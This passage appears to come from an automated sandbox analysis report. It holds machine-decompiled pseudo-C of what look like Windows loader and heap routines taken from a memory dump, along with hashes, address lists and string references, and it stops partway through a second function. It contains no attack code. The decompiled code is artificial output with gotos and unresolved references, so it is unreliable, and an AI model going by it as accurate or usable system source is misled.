String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-2558761708
Opcode ID: 73305604d4d970c72a95b72c440094013bbfa681e5b2c8b8bb39f9064fa2473f
Instruction ID: 646ce027cb9dda755cf5996ea074d6d5a2fbddbc9091a977dbdd5d6a906012b0
Opcode Fuzzy Hash: 73305604d4d970c72a95b72c440094013bbfa681e5b2c8b8bb39f9064fa2473f
Instruction Fuzzy Hash: 2611EE313155029FD728DB16C491F3AB3B5EB40B21F24816EF54ACB2E1EB30ED84E646

Uniqueness

Uniqueness Score: -1.00%

Function 00BFD5E0, Relevance: 2.9, Strings: 2, Instructions: 353
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E00BFD5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				signed int _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				signed int _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				signed int* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0xcdd360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E00BF6600(0xcd52d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0xcd7b9c; // 0x0
							_t281 = L00C04620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E00C2F3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0xcd7b90; // 0x770b0000
								if(_t384 == 0) {
									_t353 =  *0xcd7b8c; // 0x782a30
									_v176 = _t353;
									_t320 = ( *(_t353 + 0x50))[8];
									_v184 = _t320;
								} else {
									E00C02280(_t200, 0xcd84d8);
									_t277 =  *0xcd85f4; // 0x782f20
									_t351 =  *0xcd85f8 & 1;
									while(_t277 != 0) {
										_t337 =  *(_t277 - 0x50);
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t340 =  *(_t277 - 0x18);
													_t24 = _t277 - 0x68; // 0x782eb8
													_t353 = _t24;
													_v176 = _t353;
													__eflags = _t340[3] - 0xffffffff;
													if(_t340[3] != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t340 =  *(_t353 + 0x50);
														}
													}
													_v184 = _t340[8];
												}
											} else {
												_t339 =  *(_t277 + 4);
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E00BFFFB0(_t287, _t353, 0xcd84d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E00C3CC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E00BF6600(0xcd52d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E00BF7926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0xcdb239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E00C6E974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0xcd8472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														asm("ror edi, cl");
														 *0xcdb1e0( &_v192, _t353, _v168, 0, _v180);
														 *( *0xcdb218 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E00C02280(_t250, 0xcd84d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L00C23898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E00BFFFB0(_t293, _t353, 0xcd84d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E00C237F5(_t353, 0);
																}
																E00C20413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E00C19B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E00C102D6(_t174);
																}
																L00C077F0( *0xcd7b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E00C1C277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L00BFEC7F(_t353);
										L00C119B8(_t287, 0, _t353, 0);
										_t200 = E00BEF4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L00C077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0 || ( *0xcdb2f8 |  *0xcdb2fc) == 0 || ( *0xcdb2e4 & 0x00000001) != 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E00C2B640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_v200 = 0;
									if(( *0xcdb2ec >> 0x00000008 & 0x00000003) == 3) {
										_t355 = _v168;
										_t342 =  &_v208;
										_t208 = E00C96B68(_v168,  &_v208, _v168, __eflags);
										__eflags = _t208 - 1;
										if(_t208 == 1) {
											goto L46;
										} else {
											__eflags = _v208 & 0x00000010;
											if((_v208 & 0x00000010) == 0) {
												goto L46;
											} else {
												_t342 = 4;
												_t366 = E00C96AEB(_t355, 4,  &_v216);
												__eflags = _t366;
												if(_t366 >= 0) {
													goto L46;
												} else {
													asm("int 0x29");
													_t356 = 0;
													_v44 = 0;
													_t290 = _v52;
													__eflags = 0;
													if(0 == 0) {
														L108:
														_t356 = 0;
														_v44 = 0;
														goto L63;
													} else {
														__eflags = 0;
														if(0 < 0) {
															goto L108;
														}
														L63:
														_v112 = _t356;
														__eflags = _t356;
														if(_t356 == 0) {
															L143:
															_v8 = 0xfffffffe;
															_t211 = 0xc0000089;
														} else {
															_v36 = 0;
															_v60 = 0;
															_v48 = 0;
															_v68 = 0;
															_v44 = _t290 & 0xfffffffc;
															E00BFE9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
															_t306 = _v68;
															__eflags = _t306;
															if(_t306 == 0) {
																_t216 = 0xc000007b;
																_v36 = 0xc000007b;
																_t307 = _v60;
															} else {
																__eflags = _t290 & 0x00000001;
																if(__eflags == 0) {
																	_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																	__eflags = _t349 - 0x10b;
																	if(_t349 != 0x10b) {
																		__eflags = _t349 - 0x20b;
																		if(_t349 == 0x20b) {
																			goto L102;
																		} else {
																			_t307 = 0;
																			_v48 = 0;
																			_t216 = 0xc000007b;
																			_v36 = 0xc000007b;
																			goto L71;
																		}
																	} else {
																		L102:
																		_t307 =  *(_t306 + 0x50);
																		goto L69;
																	}
																	goto L151;
																} else {
																	_t239 = L00BFEAEA(_t290, _t290, _t356, _t366, __eflags);
																	_t307 = _t239;
																	_v60 = _t307;
																	_v48 = _t307;
																	__eflags = _t307;
																	if(_t307 != 0) {
																		L70:
																		_t216 = _v36;
																	} else {
																		_push(_t239);
																		_push(0x14);
																		_push( &_v144);
																		_push(3);
																		_push(_v44);
																		_push(0xffffffff);
																		_t319 = E00C29730();
																		_v36 = _t319;
																		__eflags = _t319;
																		if(_t319 < 0) {
																			_t216 = 0xc000001f;
																			_v36 = 0xc000001f;
																			_t307 = _v60;
																		} else {
																			_t307 = _v132;
																			L69:
																			_v48 = _t307;
																			goto L70;
																		}
																	}
																}
															}
															L71:
															_v72 = _t307;
															_v84 = _t216;
															__eflags = _t216 - 0xc000007b;
															if(_t216 == 0xc000007b) {
																L150:
																_v8 = 0xfffffffe;
																_t211 = 0xc000007b;
															} else {
																_t344 = _t290 & 0xfffffffc;
																_v76 = _t344;
																__eflags = _v40 - _t344;
																if(_v40 <= _t344) {
																	goto L150;
																} else {
																	__eflags = _t307;
																	if(_t307 == 0) {
																		L75:
																		_t217 = 0;
																		_v104 = 0;
																		__eflags = _t366;
																		if(_t366 != 0) {
																			__eflags = _t290 & 0x00000001;
																			if((_t290 & 0x00000001) != 0) {
																				_t217 = 1;
																				_v104 = 1;
																			}
																			_t290 = _v44;
																			_v52 = _t290;
																		}
																		__eflags = _t217 - 1;
																		if(_t217 != 1) {
																			_t369 = 0;
																			_t218 = _v40;
																			goto L91;
																		} else {
																			_v64 = 0;
																			E00BFE9C0(1, _t290, 0, 0,  &_v64);
																			_t309 = _v64;
																			_v108 = _t309;
																			__eflags = _t309;
																			if(_t309 == 0) {
																				goto L143;
																			} else {
																				_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																				__eflags = _t226 - 0x10b;
																				if(_t226 != 0x10b) {
																					__eflags = _t226 - 0x20b;
																					if(_t226 != 0x20b) {
																						goto L143;
																					} else {
																						_t371 =  *(_t309 + 0x98);
																						goto L83;
																					}
																				} else {
																					_t371 =  *(_t309 + 0x88);
																					L83:
																					__eflags = _t371;
																					if(_t371 != 0) {
																						_v80 = _t371 - _t356 + _t290;
																						_t310 = _v64;
																						_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																						_t292 =  *(_t310 + 6) & 0x0000ffff;
																						_t311 = 0;
																						__eflags = 0;
																						while(1) {
																							_v120 = _t311;
																							_v116 = _t348;
																							__eflags = _t311 - _t292;
																							if(_t311 >= _t292) {
																								goto L143;
																							}
																							_t359 =  *((intOrPtr*)(_t348 + 0xc));
																							__eflags = _t371 - _t359;
																							if(_t371 < _t359) {
																								L98:
																								_t348 = _t348 + 0x28;
																								_t311 = _t311 + 1;
																								continue;
																							} else {
																								__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																								if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																									goto L98;
																								} else {
																									__eflags = _t348;
																									if(_t348 == 0) {
																										goto L143;
																									} else {
																										_t218 = _v40;
																										_t312 =  *_t218;
																										__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																										if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																											_v100 = _t359;
																											_t360 = _v108;
																											_t372 = L00BF8F44(_v108, _t312);
																											__eflags = _t372;
																											if(_t372 == 0) {
																												goto L143;
																											} else {
																												_t290 = _v52;
																												_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E00C23C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																												_t307 = _v72;
																												_t344 = _v76;
																												_t218 = _v40;
																												goto L91;
																											}
																										} else {
																											_t290 = _v52;
																											_t307 = _v72;
																											_t344 = _v76;
																											_t369 = _v80;
																											L91:
																											_t358 = _a4;
																											__eflags = _t358;
																											if(_t358 == 0) {
																												L95:
																												_t308 = _a8;
																												__eflags = _t308;
																												if(_t308 != 0) {
																													 *_t308 =  *((intOrPtr*)(_v40 + 4));
																												}
																												_v8 = 0xfffffffe;
																												_t211 = _v84;
																											} else {
																												_t370 =  *_t218 - _t369 + _t290;
																												 *_t358 = _t370;
																												__eflags = _t370 - _t344;
																												if(_t370 <= _t344) {
																													L149:
																													 *_t358 = 0;
																													goto L150;
																												} else {
																													__eflags = _t307;
																													if(_t307 == 0) {
																														goto L95;
																													} else {
																														__eflags = _t370 - _t344 + _t307;
																														if(_t370 >= _t344 + _t307) {
																															goto L149;
																														} else {
																															goto L95;
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																							goto L97;
																						}
																					}
																					goto L143;
																				}
																			}
																		}
																	} else {
																		__eflags = _v40 - _t307 + _t344;
																		if(_v40 >= _t307 + _t344) {
																			goto L150;
																		} else {
																			goto L75;
																		}
																	}
																}
															}
														}
														L97:
														 *[fs:0x0] = _v20;
														return _t211;
													}
												}
											}
										}
									} else {
										goto L46;
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}

0x00bfd5f2
0x00bfd5f5
0x00bfd5f5
0x00bfd5fd
0x00bfd600
0x00bfd60a
0x00bfd60d
0x00bfd617
0x00bfd61d
0x00bfd627
0x00bfd62e
0x00bfd911
0x00bfd913
0x00000000
0x00bfd919
0x00bfd919
0x00bfd919
0x00bfd634
0x00bfd634
0x00bfd634
0x00bfd634
0x00bfd640
0x00bfd8bf
0x00000000
0x00bfd646
0x00bfd646
0x00bfd64d
0x00bfd652
0x00c4b2fc
0x00c4b2fc
0x00c4b302
0x00c4b33b
0x00c4b341
0x00000000
0x00c4b304
0x00c4b304
0x00c4b319
0x00c4b31e
0x00c4b324
0x00c4b326
0x00c4b332
0x00c4b347
0x00c4b34c
0x00c4b351
0x00c4b35a
0x00000000
0x00c4b328
0x00c4b328
0x00000000
0x00c4b328
0x00c4b326
0x00bfd658
0x00bfd658
0x00bfd65b
0x00bfd665
0x00000000
0x00bfd66b
0x00bfd66b
0x00bfd66b
0x00bfd66b
0x00bfd66d
0x00bfd672
0x00bfd67a
0x00000000
0x00000000
0x00bfd680
0x00bfd686
0x00bfd8ce
0x00bfd8d4
0x00bfd8dd
0x00bfd8e0
0x00bfd68c
0x00bfd691
0x00bfd69d
0x00bfd6a2
0x00bfd6a7
0x00bfd6b0
0x00bfd6b5
0x00bfd6e0
0x00bfd6b7
0x00bfd6b7
0x00bfd6b9
0x00bfd6b9
0x00bfd6bb
0x00bfd6bd
0x00bfd6ce
0x00bfd6d0
0x00bfd6d2
0x00c4b363
0x00c4b365
0x00000000
0x00c4b36b
0x00000000
0x00c4b36b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00bfd6bf
0x00bfd6bf
0x00bfd6e5
0x00bfd6e7
0x00bfd6e9
0x00bfd6ec
0x00bfd6ec
0x00bfd6ef
0x00bfd6f5
0x00bfd6f9
0x00bfd6fb
0x00bfd6fd
0x00bfd701
0x00bfd703
0x00bfd70a
0x00bfd70a
0x00bfd701
0x00bfd710
0x00bfd710
0x00bfd6c1
0x00bfd6c1
0x00bfd6c6
0x00c4b36d
0x00c4b36f
0x00000000
0x00c4b375
0x00c4b375
0x00c4b375
0x00000000
0x00c4b375
0x00000000
0x00bfd6cc
0x00bfd6d8
0x00bfd6d8
0x00bfd6d8
0x00000000
0x00bfd6c6
0x00bfd6bf
0x00000000
0x00bfd6da
0x00bfd6da
0x00bfd716
0x00bfd71b
0x00bfd720
0x00bfd726
0x00bfd726
0x00bfd72d
0x00000000
0x00bfd733
0x00bfd739
0x00bfd742
0x00bfd750
0x00bfd758
0x00bfd764
0x00bfd776
0x00bfd77a
0x00bfd783
0x00bfd928
0x00bfd92c
0x00bfd93d
0x00bfd944
0x00bfd94f
0x00bfd954
0x00bfd956
0x00bfd95f
0x00bfd961
0x00bfd973
0x00bfd973
0x00bfd956
0x00bfd944
0x00bfd92c
0x00bfd78b
0x00c4b394
0x00bfd791
0x00bfd798
0x00c4b3a3
0x00c4b3bb
0x00c4b3bb
0x00bfd7a5
0x00bfd866
0x00bfd870
0x00bfd892
0x00bfd898
0x00bfd89e
0x00bfd8a0
0x00bfd8a6
0x00bfd8ac
0x00bfd8ae
0x00bfd8b4
0x00bfd8b4
0x00bfd8ae
0x00bfd7a5
0x00bfd78b
0x00bfd7b1
0x00c4b3c5
0x00c4b3c5
0x00bfd7c3
0x00bfd7ca
0x00bfd7e5
0x00bfd7eb
0x00bfd8eb
0x00bfd8ed
0x00000000
0x00bfd8f3
0x00bfd8f3
0x00bfd8f3
0x00000000
0x00bfd8ed
0x00bfd7cc
0x00bfd7cc
0x00bfd7d2
0x00000000
0x00bfd7d4
0x00bfd7d4
0x00bfd7d7
0x00bfd7df
0x00c4b3d4
0x00c4b3d9
0x00c4b3dc
0x00c4b3dc
0x00c4b3df
0x00c4b3e2
0x00c4b468
0x00c4b46d
0x00c4b46f
0x00c4b46f
0x00c4b475
0x00bfd8f8
0x00bfd8f9
0x00bfd8fd
0x00c4b3e8
0x00c4b3e8
0x00c4b3eb
0x00c4b3ed
0x00000000
0x00c4b3ef
0x00c4b3ef
0x00c4b3f1
0x00c4b3f4
0x00c4b3fe
0x00c4b404
0x00c4b409
0x00c4b40e
0x00c4b410
0x00c4b410
0x00c4b414
0x00c4b414
0x00c4b41b
0x00c4b420
0x00c4b423
0x00c4b425
0x00c4b427
0x00c4b42a
0x00c4b42d
0x00c4b42d
0x00c4b42a
0x00c4b432
0x00c4b436
0x00c4b438
0x00c4b43b
0x00c4b43b
0x00c4b449
0x00c4b44e
0x00c4b454
0x00c4b458
0x00c4b458
0x00c4b45d
0x00000000
0x00c4b45d
0x00c4b3ed
0x00000000
0x00000000
0x00000000
0x00bfd7df
0x00bfd7d2
0x00bfd7ca
0x00c4b37c
0x00c4b37e
0x00c4b385
0x00c4b38a
0x00000000
0x00c4b38a
0x00bfd742
0x00bfd7f1
0x00bfd7f8
0x00c4b49b
0x00c4b49b
0x00bfd800
0x00bfd837
0x00bfd843
0x00bfd845
0x00bfd847
0x00bfd84a
0x00bfd84b
0x00bfd84e
0x00bfd857
0x00bfd818
0x00bfd824
0x00bfd831
0x00c4b4a5
0x00c4b4ab
0x00c4b4b3
0x00c4b4b8
0x00c4b4bb
0x00000000
0x00c4b4c1
0x00c4b4c1
0x00c4b4c8
0x00000000
0x00c4b4ce
0x00c4b4d4
0x00c4b4e1
0x00c4b4e3
0x00c4b4e5
0x00000000
0x00c4b4eb
0x00c4b4f0
0x00c4b4f2
0x00bfdac9
0x00bfdacc
0x00bfdacf
0x00bfdad1
0x00bfdd78
0x00bfdd78
0x00bfdcf2
0x00000000
0x00bfdad7
0x00bfdad9
0x00bfdadb
0x00000000
0x00000000
0x00bfdae1
0x00bfdae1
0x00bfdae4
0x00bfdae6
0x00c4b4f9
0x00c4b4f9
0x00c4b500
0x00bfdaec
0x00bfdaec
0x00bfdaf5
0x00bfdaf8
0x00bfdafb
0x00bfdb03
0x00bfdb11
0x00bfdb16
0x00bfdb19
0x00bfdb1b
0x00c4b52c
0x00c4b531
0x00c4b534
0x00bfdb21
0x00bfdb21
0x00bfdb24
0x00bfdcd9
0x00bfdce2
0x00bfdce5
0x00bfdd6a
0x00bfdd6d
0x00000000
0x00bfdd73
0x00c4b51a
0x00c4b51c
0x00c4b51f
0x00c4b524
0x00000000
0x00c4b524
0x00bfdce7
0x00bfdce7
0x00bfdce7
0x00000000
0x00bfdce7
0x00000000
0x00bfdb2a
0x00bfdb2c
0x00bfdb31
0x00bfdb33
0x00bfdb36
0x00bfdb39
0x00bfdb3b
0x00bfdb66
0x00bfdb66
0x00bfdb3d
0x00bfdb3d
0x00bfdb3e
0x00bfdb46
0x00bfdb47
0x00bfdb49
0x00bfdb4c
0x00bfdb53
0x00bfdb55
0x00bfdb58
0x00bfdb5a
0x00c4b50a
0x00c4b50f
0x00c4b512
0x00bfdb60
0x00bfdb60
0x00bfdb63
0x00bfdb63
0x00000000
0x00bfdb63
0x00bfdb5a
0x00bfdb3b
0x00bfdb24
0x00bfdb69
0x00bfdb69
0x00bfdb6c
0x00bfdb6f
0x00bfdb74
0x00c4b557
0x00c4b557
0x00c4b55e
0x00bfdb7a
0x00bfdb7c
0x00bfdb7f
0x00bfdb82
0x00bfdb85
0x00000000
0x00bfdb8b
0x00bfdb8b
0x00bfdb8d
0x00bfdb9b
0x00bfdb9b
0x00bfdb9d
0x00bfdba0
0x00bfdba2
0x00bfdba4
0x00bfdba7
0x00bfdba9
0x00bfdbae
0x00bfdbae
0x00bfdbb1
0x00bfdbb4
0x00bfdbb4
0x00bfdbb7
0x00bfdbba
0x00bfdcd2
0x00bfdcd4
0x00000000
0x00bfdbc0
0x00bfdbc0
0x00bfdbd2
0x00bfdbd7
0x00bfdbda
0x00bfdbdd
0x00bfdbdf
0x00000000
0x00bfdbe5
0x00bfdbe5
0x00bfdbee
0x00bfdbf1
0x00c4b541
0x00c4b544
0x00000000
0x00c4b546
0x00c4b546
0x00000000
0x00c4b546
0x00bfdbf7
0x00bfdbf7
0x00bfdbfd
0x00bfdbfd
0x00bfdbff
0x00bfdc0b
0x00bfdc15
0x00bfdc1b
0x00bfdc1d
0x00bfdc21
0x00bfdc21
0x00bfdc23
0x00bfdc23
0x00bfdc26
0x00bfdc29
0x00bfdc2b
0x00000000
0x00000000
0x00bfdc31
0x00bfdc34
0x00bfdc36
0x00bfdcbf
0x00bfdcbf
0x00bfdcc2
0x00000000
0x00bfdc3c
0x00bfdc41
0x00bfdc43
0x00000000
0x00bfdc45
0x00bfdc45
0x00bfdc47
0x00000000
0x00bfdc4d
0x00bfdc4d
0x00bfdc50
0x00bfdc52
0x00bfdc55
0x00bfdcfa
0x00bfdcfe
0x00bfdd08
0x00bfdd0a
0x00bfdd0c
0x00000000
0x00bfdd12
0x00bfdd15
0x00bfdd2d
0x00bfdd2f
0x00bfdd32
0x00bfdd35
0x00000000
0x00bfdd35
0x00bfdc5b
0x00bfdc5b
0x00bfdc5e
0x00bfdc61
0x00bfdc64
0x00bfdc67
0x00bfdc67
0x00bfdc6a
0x00bfdc6c
0x00bfdc8e
0x00bfdc8e
0x00bfdc91
0x00bfdc93
0x00bfdcce
0x00bfdcce
0x00bfdc95
0x00bfdc9c
0x00bfdc6e
0x00bfdc72
0x00bfdc75
0x00bfdc77
0x00bfdc79
0x00c4b551
0x00c4b551
0x00000000
0x00bfdc7f
0x00bfdc7f
0x00bfdc81
0x00000000
0x00bfdc83
0x00bfdc86
0x00bfdc88
0x00000000
0x00000000
0x00000000
0x00000000
0x00bfdc88
0x00bfdc81
0x00bfdc79
0x00bfdc6c
0x00bfdc55
0x00bfdc47
0x00bfdc43
0x00000000
0x00bfdc36
0x00bfdc23
0x00000000
0x00bfdbff
0x00bfdbf1
0x00bfdbdf
0x00bfdb8f
0x00bfdb92
0x00bfdb95
0x00000000
0x00000000
0x00000000
0x00000000
0x00bfdb95
0x00bfdb8d
0x00bfdb85
0x00bfdb74
0x00bfdc9f
0x00bfdca2
0x00bfdcb0
0x00bfdcb0
0x00bfdad1
0x00c4b4e5
0x00c4b4c8
0x00000000
0x00000000
0x00000000
0x00bfd831
0x00000000
0x00bfd800
0x00c4b47f
0x00c4b485
0x00000000
0x00c4b485
0x00bfd665
0x00bfd652
0x00000000

Strings

/x, xrefs: 00BFD69D
0*x, xrefs: 00BFD8CE

Memory Dump Source

Source File: 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, Offset: 00BC0000, based on PE: true

Similarity

API ID:
String ID: /x$0*x
API String ID: 0-1460081360
Opcode ID: 34c997e51b9606a133df0aee277a671dfd3ddaecd09225b5c4c0490c176be37a
Instruction ID: ffb099d87afd771ad5c4fee1f47f628eb12b499ac181db4da23fc69dfd6f7322
Opcode Fuzzy Hash: 34c997e51b9606a133df0aee277a671dfd3ddaecd09225b5c4c0490c176be37a
Instruction Fuzzy Hash: 39E1D130A01319DFDB24DF18C884BB9B7F2BF45314F1441EAEA099B291DB34AD89DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00C1FAB0, Relevance: 2.8, Strings: 2, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00C1FAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					E00BFEEF0(0xcd7b60);
					_t134 =  *0xcd7b84; // 0x771c7b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0xcd7b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
